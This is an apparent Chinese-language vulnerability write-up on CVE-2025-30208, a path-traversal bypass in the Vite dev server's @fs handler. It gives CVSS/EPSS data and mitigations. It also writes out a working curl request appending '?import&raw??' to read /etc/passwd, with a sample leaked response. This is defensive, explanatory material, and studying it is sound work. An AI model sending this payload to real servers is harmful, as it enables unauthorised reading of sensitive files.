CVE-2025-30208 – Vite开发服务器中通过@fs路径遍历绕过实现任意文件读取漏洞分析

本文详细分析了CVE-2025-30208漏洞,该漏洞存在于Vite开发服务器的@fs URL处理机制中,允许远程攻击者通过特制请求绕过安全限制,读取服务器文件系统中的敏感文件内容。

CVE-2025-30208 – Vite开发服务器中通过@fs路径遍历绕过实现任意文件读取

概述

CVE-2025-30208是Vite开发服务器中的一个任意文件读取漏洞。该漏洞允许远程、未经身份验证的攻击者通过滥用Vite的@fs URL处理功能,访问服务器文件系统上的任意文件。

CVE ID: CVE-2025-30208
严重程度: 中等
CVSS评分: 5.3
EPSS评分: 75.83%
影响: 信息泄露
攻击向量: 网络
需要认证: 否
受影响组件: Vite开发服务器中的@fs路径处理器

此问题影响在开发模式下运行Vite的应用程序,如果开发服务器可远程访问,则会暴露敏感的服务器端文件。

技术分析

Vite支持特殊路径,如/@fs/absolute/path,用于在开发期间直接从文件系统导入文件。通常,Vite会限制访问其允许列表之外的文件(即项目根目录)。

然而,通过在请求中附加?import&raw??,攻击者可以绕过此保护,强制Vite读取任意文件内容并将其作为原始ES模块导出返回。

利用条件

  • 应用程序正在运行Vite开发服务器(通常在端口5173上)
  • 服务器可远程访问(例如,通过互联网或内网暴露)
  • 攻击者可以向开发服务器发出特制的HTTP GET请求
  • 目标文件可由运行Vite进程的用户读取

漏洞代码行为

预期行为:

1
2
$ curl "http://localhost:5173/@fs/etc/passwd"
# => 403 Restricted

安全绕过(存在漏洞):

1
2
3
4
5
$ curl "http://localhost:5173/@fs/etc/passwd?import&raw??"

# 响应
export default "root:x:0:0:root:/root:/bin/bash\nuser:x:1000:1000:user:/home/user:/bin/bash\n";
//# sourceMappingURL=data:application/json;base64,...

双问号(??)混淆了Vite的导入解析器,绕过了默认的允许列表限制,实现了任意文件泄露。服务器响应包含包装在ES模块export default中的文件内容。

缓解措施

  • 切勿将Vite的开发服务器暴露给公共互联网
  • 将Vite升级到已修复此绕过问题的最新修补版本
  • 考虑在仅限本地的代理后面运行开发服务器,或使用严格的防火墙规则

参考链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计